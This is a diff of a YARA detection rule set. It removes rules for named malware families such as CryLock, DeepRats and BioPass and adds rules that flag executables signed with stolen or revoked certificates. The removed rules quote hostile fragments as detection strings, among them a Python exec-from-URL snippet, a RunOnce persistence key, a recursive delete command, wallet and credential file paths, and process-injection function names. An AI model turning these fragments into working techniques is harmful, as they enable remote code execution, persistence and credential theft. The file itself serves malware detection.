+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Microsoft Windows" and pe.signatures[i].issuer contains "Microsoft Windows Production PCA 2011" and pe.signatures[i].serial=="33:00:00:02:65:51:ae:1b:bd:00:5c:bf:bd:00:00:00:00:02:65" and 1614796238<=pe.signatures[i].not_after)
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Biopass_Dropper : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_309368B122Ab63103Dddd4Ad6321A82C : FILE
 {
 	meta:
-		description = "Detects Go BioPass dropper"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "56037c79-59f7-587c-8f54-c9618e871f34"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a9c2fa86-506e-503a-a864-8368f63662c4"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7088-L7111"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7353-L7365"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "06f3b3ee38349ddcf9be7cbb7627d60fa673962409dde6e4badd112841a3ed19"
+		logic_hash = "37a39d63e2bce6d4ce501e3032ee12fe8c5b39e8d8cb0f3e0c6d0be375bcffc8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$go = "Go build ID:" ascii
-		$s1 = "main.NetWorkStatus" ascii
-		$s2 = "main.NoErrorRunFunction" ascii
-		$s3 = "main.FileExist" ascii
-		$s4 = "main.execute" ascii
-		$s5 = "main.PsGenerator" ascii
-		$s6 = "main.downFile" ascii
-		$s7 = "main.Unzip" ascii
-		$url1 = "https://flashdownloadserver.oss-cn-hongkong.aliyuncs.com/res/" ascii
-		$x1 = "SCHTASKS /Run /TN SYSTEM_CDAEMON" ascii
-		$x2 = "SCHTASKS /Run /TN SYSTEM_SETTINGS" ascii
-		$x3 = "SCHTASKS /Run /TN SYSTEM_TEST && SCHTASKS /DELETE /F /TN SYSTEM_TEST" ascii
-		$x4 = ".exe /install /quiet /norestart" ascii
-		$x5 = "exec(''import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\\''http" ascii
-		$x6 = "powershell.exe -Command $" ascii
-		$x7 = ".Path ='-----BEGIN RSA TESTING KEY-----" ascii
+		thumbprint = "1370de077e2ba2065478dee8075b16c0e5a5e862"
+		hash1 = "b7376049b73feb5bc677a02e4040f2ec7e7302456db9eac35c71072dd95557eb"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 5 of ($x*) or (1 of ($url*) and ($go)) or 9 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Systems Accounting Limited" and pe.signatures[i].serial=="30:93:68:b1:22:ab:63:10:3d:dd:d4:ad:63:21:a8:2c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_A310Logger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_19F613Cf951D49814250701037442Ee2 : FILE
 {
 	meta:
-		description = "Detects A310Logger"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d2cf2f7b-5710-56ab-b13d-97a70fe7f618"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "780c515e-811c-5f44-97a2-9ed93a7d9d89"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7113-L7149"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7367-L7384"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8205169c9c78eb784b9d07a5fd85ad3a54763452e1e315f7e7911b8ac49a6c01"
+		logic_hash = "1ea5f770ddbb7dba836049bec0c7b73cd5bc6a87514f8ea00288cb9d52d17651"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		snort_sid = "920204-920207"
-
-	strings:
-		$s1 = "Temporary Directory * for" fullword wide
-		$s2 = "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*RD_" wide
-		$s3 = "@ENTIFIER=" wide
-		$s4 = "ExecQuery" fullword wide
-		$s5 = "MSXML2.ServerXMLHTTP.6.0" fullword wide
-		$s6 = "Content-Disposition: form-data; name=\"document\"; filename=\"" wide
-		$s7 = "CopyHere" fullword wide
-		$s8 = "] Error in" fullword wide
-		$s9 = "shell.application" fullword wide nocase
-		$s10 = "SetRequestHeader" fullword wide
-		$s11 = "\\Ethereum\\keystore" fullword wide
-		$s12 = "@TITLE Removing" fullword wide
-		$s13 = "@RD /S /Q \"" fullword wide
-		$en1 = "Unsupported encryption" fullword wide
-		$en2 = "BCryptOpenAlgorithmProvider(SHA1)" fullword wide
-		$en3 = "BCryptGetProperty(ObjectLength)" fullword wide
-		$en4 = "BCryptGetProperty(HashDigestLength)" fullword wide
-		$v1_1 = "PW\\FILES\\SC::" wide
-		$v1_2 = "AddAttachment" fullword wide
-		$v1_3 = "Started:" fullword wide
-		$v1_4 = "Ended:" fullword wide
-		$v1_5 = "sharedSecret" fullword wide
-		$v1_6 = "\":\"([^\"]+)\"" fullword wide
-		$v1_7 = "\\credentials.txt" fullword wide
-		$v1_8 = "WritePasswords" fullword ascii
-		$v1_9 = "sGeckoBrowserPaths" fullword ascii
-		$v1_10 = "get_sPassword" fullword ascii
+		thumbprint1 = "6feab07fa782fc7fbddde8465815f4d04d79ad97"
+		thumbprint2 = "41aaafa56a30badb291e96d31ed15a9343ba7ed3"
+		hash1 = "9629cae6d009dadc60e49f5b4a492bd1169d93f17afa76bee27c37be5bca3015"
+		hash2 = "3b3281feef6d8e0eda2ab7232bd93f7c747bee143c2dfce15d23a1869bf0eddf"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($s*) or (3 of ($en*) and 4 of ($s*)) or (5 of ($s*) and 1 of ($en*)) or 5 of ($v1*) or (4 of ($v1*) and 2 of ($s*) and 2 of ($en*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cooler Master" and (pe.signatures[i].serial=="19:f6:13:cf:95:1d:49:81:42:50:70:10:37:44:2e:e2" or pe.signatures[i].serial=="6b:e8:ee:f0:82:a4:f5:96:4c:75:0b:c0:07:24:f6:4a"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Crylock : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2D8Cfcf04209Dc7F771D8D18E462C35A : FILE
 {
 	meta:
-		description = "Detects CryLock ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "296288d8-2fdd-592a-aef9-7d4853885594"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6b2b25af-dae5-5055-851d-e515f6beee58"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7151-L7186"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7386-L7398"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dde35dd2c7e89212c4562f2dcf6a78d06fbb3d31150d49e6c48f758b07f1834f"
+		logic_hash = "e7eee6a6593c231c193145eeefd03a0f32c1d8cc103c97cfa26b5af7363c9b08"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Encrypted by BlackRabbit. (BR-" ascii
-		$s2 = "{ENCRYPTENDED}" ascii
-		$s3 = "{ENCRYPTSTART}" ascii
-		$s4 = "<%UNDECRYPT_DATETIME%>" ascii
-		$s5 = "<%RESERVE_CONTACT%>" ascii
-		$s6 = "how_to_decrypt.hta" ascii wide
-		$s7 = "END ENCRYPT ONLY EXTENATIONS" ascii
-		$s8 = "END UNENCRYPT EXTENATIONS" ascii
-		$s9 = "END COMMANDS LIST" ascii
-		$s10 = "END PROCESSES KILL LIST" ascii
-		$s11 = "END SERVICES STOP LIST" ascii
-		$s12 = "END PROCESSES WHITE LIST" ascii
-		$s13 = "END UNENCRYPT FILES LIST" ascii
-		$s14 = "END UNENCRYPT FOLDERS LIST" ascii
-		$s15 = "Encrypted files:" ascii
-		$s16 = { 65 78 74 65 6e 61 74 69 6f 6e 73 00 ff ff ff ff
-                 06 00 00 00 63 6f 6e 66 69 67 00 00 ff ff ff ff
-                 (0a|0d 0a) 00 00 00 63 6f 6e 66 69 67 2e 74 78
-                 74 00 00 ff ff ff ff 03 00 00 00 68 74 61 }
-		$p1 = "-exclude" fullword
-		$p2 = "-makeff" fullword
-		$p3 = "-full" fullword
-		$p4 = "-nolocal" fullword
-		$p5 = "-nolan" fullword
-		$p6 = "\" -id \"" fullword
-		$p7 = "\" -wid \"" fullword
-		$p8 = "\"runas\"" fullword
-		$p9 = " -f -s -t 00" fullword ascii
+		thumbprint = "a9c61e299634ba01e269239de322fb85e2da006b"
+		hash1 = "af27173ed576215bb06dab3a1526992ee1f8bd358a92d63ad0cfbc0325c70acf"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($s*) or 6 of ($p*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AA PLUS INVEST d.o.o." and pe.signatures[i].serial=="2d:8c:fc:f0:42:09:dc:7f:77:1d:8d:18:e4:62:c3:5a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Deeprats : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_06De439Ba2Df4Dcd8240C211D60Cdf5E : FILE
 {
 	meta:
-		description = "Detects DeepRats ("
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "5b774e24-3864-519f-9cfd-d729d7d567a0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "90623074-58ac-51fd-9b80-881d3187dc74"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7188-L7218"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7400-L7412"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "511264c0b6932f90069a5206cd142ca7210b0bc40c51ef5aa9c41a161fb57aab"
+		logic_hash = "a2847853e2e9cc9e6909871b3f8e6de399fb76353e997b084c92dbcfe6c1a48f"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		hash1 = "1f8b7e1b14869d119c5de1f05330094899bd997fca4c322d852db85cbd9271e6"
-
-	strings:
-		$s1 = "https://freegeoip.live/json/https://myexternalip.com/rawin" ascii
-		$s2 = "github.com/cretz/bine" ascii
-		$s3 = "github.com/kbinani/screenshot" ascii
-		$s4 = "socks5://%s:%d" ascii
-		$s5 = "socks5://%s:%s@%s:%d" ascii
-		$s6 = "http://%s:%d" ascii
-		$s7 = "http://%s@%s:%d" ascii
-		$s8 = "%SystemRoot%\\system32\\--CookieAuthentication" ascii
-		$s9 = "tor_addr_" ascii
-		$f1 = ".GetVnc" ascii
-		$f2 = ".GetCommand" ascii
-		$f3 = ".GetPayload" ascii
-		$f4 = ".ListenCommands" ascii
-		$f5 = ".ReceiveFile" ascii
-		$f6 = ".RegisterImplant" ascii
-		$f7 = ".Screenshot" ascii
-		$f8 = ".SendFile" ascii
-		$f9 = ".StartShell" ascii
-		$f10 = ".UnregisterImplant" ascii
-		$f11 = ".VncInstalled" ascii
-		$f12 = ".PingPong" ascii
-		$f13 = ".ListenCMD" ascii
+		thumbprint = "2650a1205bd7720381c00bdee5aede0ee333dc13"
+		hash1 = "e3bc81a59fc45dfdfcc57b0078437061cb8c3396e1d593fcf187e3cdf0373ed1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (7 of ($s*) or 8 of ($f*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Microleaves LTD" and pe.signatures[i].serial=="06:de:43:9b:a2:df:4d:cd:82:40:c2:11:d6:0c:df:5e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gasket : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00F454F2Fdc800B3454059D8889Bd73D67 : FILE
 {
 	meta:
-		description = "Detects Gasket"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3afa131d-9c88-50df-a3b4-552db4a84e69"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "277ac503-91c4-5266-b8a4-c01a48b8df4d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7220-L7250"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7414-L7429"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0279979915891fc8c813ba555120ee5705b53b234a808b5ca77bff35a082e376"
+		logic_hash = "91b33a3e915a007d00482905471e124045a373fef9c8b0fe9a987196d2ec013a"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.checkGasket" ascii
-		$s2 = "main.connectGasket" ascii
-		$s3 = "/cert/trust/dev/stderr/dev/stdout/index.html" ascii
-		$f1 = ".SetPingHandler." ascii
-		$f2 = ".SetPongHandler." ascii
-		$f3 = ".computeMergeInfo." ascii
-		$f4 = ".computeDiscardInfo." ascii
-		$f5 = ".readPlatformMachineID." ascii
-		$f6 = ".(*Session).establishStream." ascii
-		$f7 = ".(*Session).handleGoAway." ascii
-		$f8 = ".(*Stream).processFlags." ascii
-		$f9 = ".(*Session).handlePing." ascii
-		$f10 = ".(*windowsService).Install." ascii
-		$f11 = ".(*windowsService).Uninstall." ascii
-		$f12 = ".(*windowsService).Status." ascii
-		$f13 = ".getStopTimeout." ascii
-		$f14 = ".DialContext." ascii
-		$f15 = ".WriteControl." ascii
-		$f16 = ".(*Server).authenticate." ascii
-		$f17 = ".(*Server).ServeConn." ascii
-		$f18 = ".(*TCPProxy).listen." ascii
-		$f19 = ".UserPassAuthenticator.Authenticate." ascii
-		$f20 = ".(*InfoPacket).XXX_" ascii
+		thumbprint = "2b560fabc34e0db81dae1443b1c4929eef820266"
+		hash1 = "e58b80e4738dc03f5aa82d3a40a6d2ace0d7c7cfd651f1dd10df76d43d8c0eb3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 16 of ($f*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BEAUTY CORP SRL" and (pe.signatures[i].serial=="f4:54:f2:fd:c8:00:b3:45:40:59:d8:88:9b:d7:3d:67" or pe.signatures[i].serial=="00:f4:54:f2:fd:c8:00:b3:45:40:59:d8:88:9b:d7:3d:67"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Silentmoon : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3Afe693728F8406054A613F6736F89E3 : FILE
 {
 	meta:
-		description = "Detects SilentMoon"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0b41a07b-0e2a-5bbf-8789-3b46460d2c09"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "64c4157e-2183-5f41-b938-df29e210ee80"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7252-L7272"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7431-L7443"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1aa61e83d0003ef41d16fd40698485fdf41a957639ac3c3f2770994a43bd502a"
+		logic_hash = "6993a13546a1eff8a4f770f224a14bffe7e3393f628337cff27cbf57ebab2a65"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\\\.\\Global\\PIPE\\" fullword wide
-		$s2 = "REMOTE_NS:ERROR:%d" fullword ascii
-		$s3 = "REMOTE:ERROR:%d" fullword ascii
-		$s4 = "COMNAP,COMNODE,SQLQUERY,SPOOLSS,LLSRPC,browser" fullword wide
-		$s5 = "Mem alloc err" fullword ascii
-		$s6 = "block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d" ascii
-		$x1 = "ACTION:UNSUPPORTED" fullword ascii
-		$x2 = "?ServiceMain@@YAXKPAPA_W@Z" fullword ascii
-		$x3 = "?ServiceCtrlHandler@@YGKKKPAX0@Z" fullword ascii
-		$x4 = "%d socks, %d sorted, %d scanned" ascii
-		$x5 = "GoldenSky" fullword wide
-		$x6 = "SilentMoon" fullword wide
-		$x7 = "internalstoragerpc" fullword wide
+		thumbprint = "89528e9005a635bcee8da5539e71c5fc4f839f50"
+		hash1 = "d98bdf3508763fe0df177ef696f5bf8de7ff7c7dc68bb04a14a95ec28528c3f9"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or 3 of ($x*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ROB ALDERMAN FITNESS LIMITED" and pe.signatures[i].serial=="3a:fe:69:37:28:f8:40:60:54:a6:13:f6:73:6f:89:e3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Lu0Bot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Fd7F9Cac1E9Ce71Ac757F93266E3B13 : FILE
 {
 	meta:
-		description = "Detects Lu0Bot"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f8595553-b911-5e30-9ece-cad7d5913f19"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6021f566-e297-5af4-b692-663480091296"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7274-L7285"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7445-L7457"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b4822248230a804b1dc75f8d517af28a621dab1746c9ef45eaa4754149ce0cba"
+		logic_hash = "319f858a15f8752d7637ab7036ed89b17c501c2422769339578e685fe6a57eea"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "WinExec" fullword ascii
-		$s2 = "AlignRects" fullword ascii
-		$o1 = { be 00 20 40 00 89 f7 89 f0 81 c7 a? 01 00 00 81 }
-		$o2 = { 53 50 e8 b0 01 00 00 e9 99 01 00 00 e8 ae 01 00 }
+		thumbprint = "af2779ceb127caa6c22232ad359888a0a71ce221"
+		hash1 = "7c28b994aeb3a85e37225cc20bae2232f97e23f115c2a409da31f353140c631e"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4KB and 1 of ($s*) and all of ($o*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE9\\x9D\\x92\\xE5\\xB2\\x9B\\xE4\\xB8\\x89\\xE5\\x96\\x9C\\xE8\\xB4\\xB8\\xE6\\x98\\x93\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures[i].serial=="0f:d7:f9:ca:c1:e9:ce:71:ac:75:7f:93:26:6e:3b:13")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Shellcodedlei : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5Fbf16A33D26390A15F046C310030Cf0 : FILE
 {
 	meta:
-		description = "Detects shellcode downloader, executer, injector"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "62a4f141-87f8-596a-adf6-5bf9a50c9e91"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6c010106-141d-5121-9594-73edc872a381"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7287-L7304"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7459-L7471"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "064c17427ae6b33ffb09a14abcb924d20ead44250e8bd03070bf40869f1c812e"
+		logic_hash = "fc68fe14ec70de74a6dae7891dfbb82ee7974f37469cfa72d735e70e9194c405"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "PPidSpoof" fullword ascii
-		$s2 = "ProcHollowing" fullword ascii
-		$s3 = "CreateProcess" fullword ascii
-		$s4 = "DynamicCodeInject" fullword ascii
-		$s5 = "PPIDDynCodeInject" fullword ascii
-		$s6 = "MapAndStart" fullword ascii
-		$s7 = "PPIDAPCInject" fullword ascii
-		$s8 = "PPIDDLLInject" fullword ascii
-		$s9 = "CopyShellcode" fullword ascii
-		$s10 = "GetEntryFromBuffer" fullword ascii
+		thumbprint = "61f422db86bbc5093b1466a281f13346f8d81792"
+		hash1 = "f45e5f160a6de454d1db21b599843637103506545183a30053d03b609f92bbdc"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 5 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MACHINES SATU MARE SRL" and pe.signatures[i].serial=="5f:bf:16:a3:3d:26:39:0a:15:f0:46:c3:10:03:0c:f0")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Bluebot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_292Eb1133507F42E6F36C5549C189D5E : FILE
 {
 	meta:
-		description = "Detects BlueBot"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cddd40bb-c3c6-5c44-9cb1-480571375be8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "60d3cc6e-bf58-55ae-a13b-0e22ecc8d5cd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7306-L7333"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7473-L7485"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "04a19f649eb2fff7a5bc59ccead80cd0a04c4e5418cbc83e850045dba75b03e0"
+		logic_hash = "456a09b1939d3f60e6ef735631eb681a9d15ea573552672fd14b19f60e8d8c73"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Blue_Botnet" wide
-		$x2 = "5-START-http" ascii
-		$x3 = "*300-END-" ascii
-		$x4 = "botlogger.php" wide
-		$s1 = "//TARGET//" wide
-		$s2 = "//BLOG//" wide
-		$s3 = "MCBOTALPHA" wide
-		$s4 = "//IPLIST//" wide
-		$s5 = "Host: //BLOG//" wide
-		$s6 = "User-Agent: //USERAGENT//" wide
-		$s7 = "<string>//TARGET//</string>" wide
-		$s8 = "POST //URL// HTTP/1.1/r/n" wide
-		$v1 = "<attack>b__" ascii
-		$v2 = "PressData" fullword ascii
-		$v3 = "POSTPiece" fullword ascii
-		$v4 = /(load|tcp|udp)Stuff/ fullword ascii
-		$v5 = "isAttacking" fullword ascii
-		$v6 = "DoSAttack" fullword ascii
-		$v7 = "prv_attack" fullword ascii
-		$v8 = "blogList" fullword ascii
+		thumbprint = "48c32548ff651e2aac12716efb448f5583577e35"
+		hash1 = "f0b3b36086e58964bf4b9d655568ab5c7f798bd89e7a8581069e65f8189c0b79"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 5 of ($s*) or 5 of ($v*) or 9 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Affairs-case s.r.o." and pe.signatures[i].serial=="29:2e:b1:13:35:07:f4:2e:6f:36:c5:54:9c:18:9d:5e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Unkcobaltstrike : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2Aaa455A172F7E3A2Dffb5C6B14F9C16 : FILE
 {
 	meta:
-		description = "Detects unknown malware, potentially CobaltStrike related"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "24ddccc7-3700-57a1-999c-ddefae6911bb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "81c115a7-7ddf-58ba-b56e-a92652c7f217"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7335-L7354"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7487-L7499"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2fb4e87eec3b56773b812ce6a5c28143183087e0f93d92d76c1103563f8e0891"
+		logic_hash = "dd10d388e9122585c8e5b2073725f50edbc85d0ca1e94a4b034e500e0e89b608"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "https://%hu.%hu.%hu.%hu:%u" ascii wide
-		$s2 = "https://microsoft.com/telemetry/update.exe" ascii wide
-		$s3 = "\\System32\\rundll32.exe" ascii wide
-		$s4 = "api.opennicproject.org" ascii wide
-		$s5 = "%s %s,%s %u" ascii wide
-		$s6 = "User32.d?" ascii wide
-		$s7 = "StrDupA" fullword ascii wide
-		$s8 = "{6d4feed8-18fd-43eb-b5c4-696ad06fac1e}" ascii wide
-		$s9 = "{ac41592a-3d21-46b7-8f21-24de30531656}" ascii wide
-		$s10 = "bd526:3b.4e32.57c8.9g32.35ef41642767~" ascii wide
-		$s11 = { 4b d3 91 49 a1 80 91 42 83 b6 33 28 36 6b 90 97 }
-		$s12 = { 0d 4c e3 5c c9 0d 1f 4c 89 7c da a1 b7 8c ee 7c }
+		thumbprint = "23c91b66bd07e56e60724b0064d4fedbdb1c8913"
+		hash1 = "7852cf2dfe60b60194dae9b037298ed0a9c84fa1d850f3898751575f4377215f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DREAM VILLAGE s.r.o." and pe.signatures[i].serial=="2a:aa:45:5a:17:2f:7e:3a:2d:ff:b5:c6:b1:4f:9c:16")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_EXEPWSHDL : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1Ef6392B2993A6F67578299659467Ea8 : FILE
 {
 	meta:
-		description = "Detects executable downloaders using PowerShell"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1e5a414b-e81e-5915-b00b-75edbfcc32d2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f5539ca9-d5cc-538e-8e53-3274791bfa2b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7356-L7374"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7501-L7513"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
